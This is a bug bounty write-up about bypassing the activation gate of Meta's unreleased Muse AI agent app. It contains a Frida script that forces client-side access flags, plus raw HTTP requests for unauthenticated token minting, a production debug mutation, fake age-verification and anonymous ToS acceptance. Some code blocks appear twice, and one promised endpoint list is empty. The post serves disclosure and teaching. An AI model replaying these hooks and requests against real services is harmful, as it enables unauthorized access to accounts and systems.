October 19, 2026
How I Bypassed Meta’s Muse AI Agent Waitlist And Discovered 30+ Vulnerabilities On My Journey
A deep dive into reverse engineering Meta’s unreleased AI agent, breaking its 15-state activation gate, and uncovering critical…

By Lewis Jones
7 min read
A deep dive into reverse engineering Meta's unreleased AI agent, breaking its 15-state activation gate, and uncovering critical vulnerabilities in a product that hasn't even launched yet.
By Lewis Jones
Introduction
I'm Lewis Jones, a 22-year-old cybersecurity enthusiast based in London. I enjoy exploring how complex systems work beneath their interfaces — particularly when those systems combine mobile applications, authentication services, APIs, and emerging AI technologies.
Meta Muse is Meta's unreleased AI-powered personal agent — a Confidential VM running on custom hardware, internally codenamed "Hatch" — designed to handle tasks ranging from file management and shopping to messaging and financial transactions. It's currently invite-only, gated behind a multi-layered waitlist system.
I bypassed it. And what I found behind the gate was far more interesting than the gate itself.
Across six testing sessions, I identified and catalogued 34+ potential security issues spanning authentication, device management, VM infrastructure, payments, and more. This article explains how I got there.
One distinction matters throughout: manipulating a client interface is not the same as bypassing server-side authorization. I treated these as separate questions, and that separation shaped the entire investigation.
The Target
Meta Muse (package: com.facebook.aura) ships as a standard Android APK, but it's anything but standard. The app is a thin client that communicates with two distinct backends:
- Edge API (hatch-api.meta.ai) — ~87 endpoints covering auth, activation, payments, device management, subscriptions, wearables, and VM provisioning
- VM Gateway — 120+ endpoints running inside a Confidential VM, tunnelled through Meta's proprietary Noise protocol
The waitlist sits between installation and access. Until you're activated, the app shows a holding screen. Getting past it was my first objective.
Step 1: Reverse-Engineering the State Machine
Before sending a single request, I decompiled the APK with jadx and mapped the activation flow. Inside ActivationState.java, I found a 15-state enum that controls exactly what screen you see:
LOADING → NO_ACCESS → BLOCKED → GEO_BLOCKED →
REQUEST_INVITE_CODE → REQUEST_WAITLIST → ALREADY_WAITLISTED →
LIMITED_WAITLIST → DISCLOSURE_ToS → NDA → WEARABLES_LINKING →
AGE_VERIFICATION → CONFIDENTIAL_VM_SETUP → VM_PROVISIONING →
FULLY_ACTIVATED
The current state is computed client-side by a method called getCurrentActivationState(), which takes parameters including hasHatchAccess, hasClearedAcquisition, isPassGeogating, hasAcceptedTos, hasProvisionedVm, waitlistStatus, and ageConfirmationStatus.
Each parameter maps to a gate. Fail any one, and you're stuck on a holding screen. Pass them all, and you reach FULLY_ACTIVATED.
The key question: how many of these gates are actually validated server-side?
Step 2: The Client-Side Bypass (Frida)
With the state machine mapped, the fastest first step was a Frida hook. I wrote a script that intercepts getCurrentActivationState() and overrides three key parameters:
Java.perform(() => {
const Companion = Java.use(
"com.facebook.aura.activation.data.ActivationState$Companion"
);
const TRUE = Java.use("java.lang.Boolean").valueOf(true);
Companion.getCurrentActivationState.implementation = function (
hasHatchAccess,
hasClearedAcquisition,
isInviteCodeEntryAvailable,
isWaitlistAvailable,
hasProvisionedVm,
waitlistStatus,
hasAcceptedTos,
ageConfirmationStatus,
isPassGeogating,
...rest
) {
return this.getCurrentActivationState(
TRUE, // hasHatchAccess → forced
TRUE, // hasClearedAcquisition → forced
isInviteCodeEntryAvailable,
isWaitlistAvailable,
hasProvisionedVm,
waitlistStatus,
hasAcceptedTos,
ageConfirmationStatus,
TRUE, // isPassGeogating → geo-gate bypassed
...rest
);
};
});Java.perform(() => {
const Companion = Java.use(
"com.facebook.aura.activation.data.ActivationState$Companion"
);
const TRUE = Java.use("java.lang.Boolean").valueOf(true);
Companion.getCurrentActivationState.implementation = function (
hasHatchAccess,
hasClearedAcquisition,
isInviteCodeEntryAvailable,
isWaitlistAvailable,
hasProvisionedVm,
waitlistStatus,
hasAcceptedTos,
ageConfirmationStatus,
isPassGeogating,
...rest
) {
return this.getCurrentActivationState(
TRUE, // hasHatchAccess → forced
TRUE, // hasClearedAcquisition → forced
isInviteCodeEntryAvailable,
isWaitlistAvailable,
hasProvisionedVm,
waitlistStatus,
hasAcceptedTos,
ageConfirmationStatus,
TRUE, // isPassGeogating → geo-gate bypassed
...rest
);
};
});Three booleans flipped. The app transitions past the waitlist screen.
But this is a client-side bypass — useful for exploring the UI, but not a real vulnerability on its own. The more important question is whether the server enforces any of this independently.
Step 3: The Server-Side Bypass Chain
This is where it gets interesting.
Step 3a. Unauthenticated Token Minting
I discovered that POST /hatch/auth/start issues fully functional session tokens with no credentials whatsoever:
POST /hatch/auth/start HTTP/2
Host: hatch-api.meta.ai
Content-Type: application/json
{}POST /hatch/auth/start HTTP/2
Host: hatch-api.meta.ai
Content-Type: application/json
{}An empty JSON body. No username, no password, no device attestation. The server responds with a valid ABRA access token.
This anonymous token unlocks approximately 30 endpoints that should require authentication — including the ability to mint device tokens for arbitrary UUIDs, accept Terms of Service, and attempt VM destruction. A token's existence isn't equivalent to unrestricted access, but the scope of what this one permitted was the central concern.
Step 3b. Debug Mutation in Production
Digging through the APK's persisted query metadata (extracted from assets/abra-android_client_persist_ids.json), I found a mutation that has no business existing in a production client:
AuraDebugSetHatchWaitlistStatusMutation
doc_id: 324136601411192291745328099292
root field: xab_debug_set_hatch_waitlist_status
The name says it all — this is a debug mutation designed for internal testing. It accepts a status parameter with the following valid values:
ACTIVATED | ADMITTED | LEFT | LIMITED | WAITLISTED
I sent it to graph.meta.ai/graphql with a standard ABRA token:
POST /graphql HTTP/2
Host: graph.meta.ai
Authorization: OAuth <ABRA_token>
fb_api_req_friendly_name=AuraDebugSetHatchWaitlistStatusMutation
&client_doc_id=324136601411192291745328099292
&variables={"status":"ADMITTED"}POST /graphql HTTP/2
Host: graph.meta.ai
Authorization: OAuth <ABRA_token>
fb_api_req_friendly_name=AuraDebugSetHatchWaitlistStatusMutation
&client_doc_id=324136601411192291745328099292
&variables={"status":"ADMITTED"}The response:
{
"data": {"xab_debug_set_hatch_waitlist_status": null},
"errors": [{"message": "field_exception", "code": 1675030}]
}{
"data": {"xab_debug_set_hatch_waitlist_status": null},
"errors": [{"message": "field_exception", "code": 1675030}]
}The mutation resolves — it reaches server-side execution. Invalid enum values return noncoercible_variable_value, confirming the server is validating inputs. The returned field_exception rather than auth_error or permission_deniedsuggests server-side processing occurred against real state. Whether field_exception represents a soft gate (an internal flag check) or a hard block is what matters most: if it's soft, the waitlist is fully bypassable server-side. Either way, a debug mutation reaching production execution is a significant finding in its own right.
Step 3c. Age Verification Bypass
The activation flow gates on age confirmation via account linking. I found that POST /hatch/age_confirmation/linking_web_auth_completion accepts completely fabricated attempt_id values:
POST /hatch/age_confirmation/linking_web_auth_completion HTTP/2
Host: hatch-api.meta.ai
Authorization: Bearer <ABRA_token>
{"attempt_id": "fake_attempt_123", "account_type": "instagram"}
Response: 200 OK {"next_action": "continue"}POST /hatch/age_confirmation/linking_web_auth_completion HTTP/2
Host: hatch-api.meta.ai
Authorization: Bearer <ABRA_token>
{"attempt_id": "fake_attempt_123", "account_type": "instagram"}
Response: 200 OK {"next_action": "continue"}No validation that the attempt_id corresponds to an actual web auth flow. No verification that age confirmation actually passed. The server accepted the client's claim at face value. A continue response doesn't guarantee the capability was granted — that depends on what subsequent steps check — but accepting a fabricated identifier without validation is the wrong starting point.
Step 3d. TOS Acceptance Without Authentication
Using the anonymous token from auth/start, I could advance the Terms of Service state:
POST /hatch/accept_tos HTTP/2
Host: hatch-api.meta.ai
Authorization: Bearer <anonymous_ABRA_token>
{"content_version": "ntp_welcome:hatch_v5_f2_muse+docs_v1"}
Response: 200 OK {"success": true}POST /hatch/accept_tos HTTP/2
Host: hatch-api.meta.ai
Authorization: Bearer <anonymous_ABRA_token>
{"content_version": "ntp_welcome:hatch_v5_f2_muse+docs_v1"}
Response: 200 OK {"success": true}Another gate accepted — with no authenticated session at all. The important questions are which identity this acceptance was recorded against, and whether it actually changed a protected server-side state.
The Full Chain
None of these findings is devastating in isolation. The anonymous token is medium severity on its own; the client-side hook is informational; the debug mutation reaching execution could be argued down. Stacked in order, they carry a request from an empty JSON body to a collapsed 15-state gate — each step clearing the layer the next one needs.
What I Found Behind the Gate
The waitlist bypass was just the beginning. Over six testing sessions, I identified 34+ vulnerabilities across the Hatch API surface.
Critical (4 findings)
- Unauthenticated token minting — anonymous tokens granting access to ~30 endpoints, including device management and VM operations
- Device token IDOR — mint tokens for any device UUID, with the resulting token inheriting the requesting user's identity and PII
- VM destruction IDOR — attempt to destroy any user's Confidential VM by FQDN, with insufficient ownership verification
- A fourth critical finding intentionally withheld from this article pending responsible disclosure
High (5 findings)
- OTP enumeration and flooding — send unlimited OTP codes to any phone number, with no apparent rate limiting
- Message spoofing via the Messenger integration — potential weakness in sender identity validation
- Feedback IDOR — read and write feedback records belonging to other users
- Unauthenticated device ordering pipeline — access to a device ordering workflow without expected authentication
- Device token identity inheritance — minted tokens carrying the minter's PII beyond their intended scope
Medium-High to Medium (11 findings)
- Checkout Crash IDOR
- Payment Credential Access
- SSO Exchange Crashes
- VM Control Chain Weakness (Enable and Bind Without Ownership Verification)
- VM Binding Without Ownership Verification
- Wallet Information Disclosure
- Subscription Management Access
- Wearables Linking IDOR
- 3+ additional withheld findings
Low / Informational (16+ findings)
- API schema disclosures
- Debug endpoint exposure
- Staging environment data leaks
- 11+ additional withheld informational findings
Some findings involve sensitive functionality. I'm intentionally withholding endpoint names, reproduction steps, and exploit details for anything that could enable misuse before issues are resolved. The absence of technical detail is deliberate — it doesn't imply those findings were unimportant.
The Untested Surface: Confidential VM Endpoints
Here's what's still unexplored. The VM gateway exposes 120+ endpoints through Meta's Noise protocol — a custom encrypted transport that bypasses standard HTTP proxying. These include:
These endpoints are part of the identified attack surface, not confirmed vulnerabilities. Testing them properly requires intercepting Noise-protocol traffic at the Java layer via Frida, after decryption — that's the next phase. The route names suggest sensitive operations, but route names don't establish permissions or impact. That requires understanding the gateway's identity validation, per-user scoping, and how it enforces access independently of the Android client.
What This Actually Taught Me
The 15-state gate looked robust because it was complex. Each state read like its own wall — geography, eligibility, disclosures, age confirmation, device linking, VM provisioning. But every wall was a separate client-side boolean backed by its own endpoint, and the endpoints never checked each other.
The complexity wasn't defence in depth. It was surface area.
The specific lessons:
Validate authorization on the server. Client-side state is for presentation. Every sensitive operation needs its own independent server-side authorization check — not a gate that trusts what the client reports about its own flow.
Bind tokens to the correct principal. An anonymous token should not inherit broader privileges than intended. Tokens need clearly scoped permissions and identity contexts.
Enforce object-level authorization. Every operation involving a device, VM, payment object, subscription, or feedback record should verify that the caller is authorized to access that specific object — not just that they hold a valid token.
Validate workflow transitions server-side. Age confirmation, account linking, TOS acceptance, and activation should depend on server-validated state, not untrusted client assertions.
Keep debug functionality out of production. Development-oriented operations have no place in production clients. If they must exist, server-side permissions need to enforce the intended restrictions.
Don't trust response codes alone. A 200 doesn't mean a protected action succeeded. A GraphQL error doesn't prove a bypass was blocked. Security testing requires establishing the resulting state and the actual impact — not reading the status code and stopping there.
Responsible Disclosure
All findings were reported to Meta through their official Bug Bounty program under the applicable GenAI payout guidelines. Meta's security team has been responsive and professional throughout the process.
The status of a submitted issue — its acceptance, severity classification, and resolution — are separate matters from what can be discussed publicly. This article explains the research and its security implications without disclosing information that should remain within the responsible-disclosure process. Not every identified issue has been independently confirmed, accepted, or resolved, and some technical details are intentionally withheld for that reason.
Tools and Environment
- Frida — runtime instrumentation of the Android application
- Jadx — APK decompilation and static analysis
- Burp Suite — HTTP request and response inspection
- Rooted Samsung Galaxy S21 Ultra — Android 15 testing environment
All testing was conducted within the authorized scope of Meta's Bug Bounty program.
The VM endpoints listed as untested should not be interpreted as successfully exploited vulnerabilities. This article describes security research and reported observations — it does not claim that every identified issue has been confirmed, accepted, or resolved by Meta.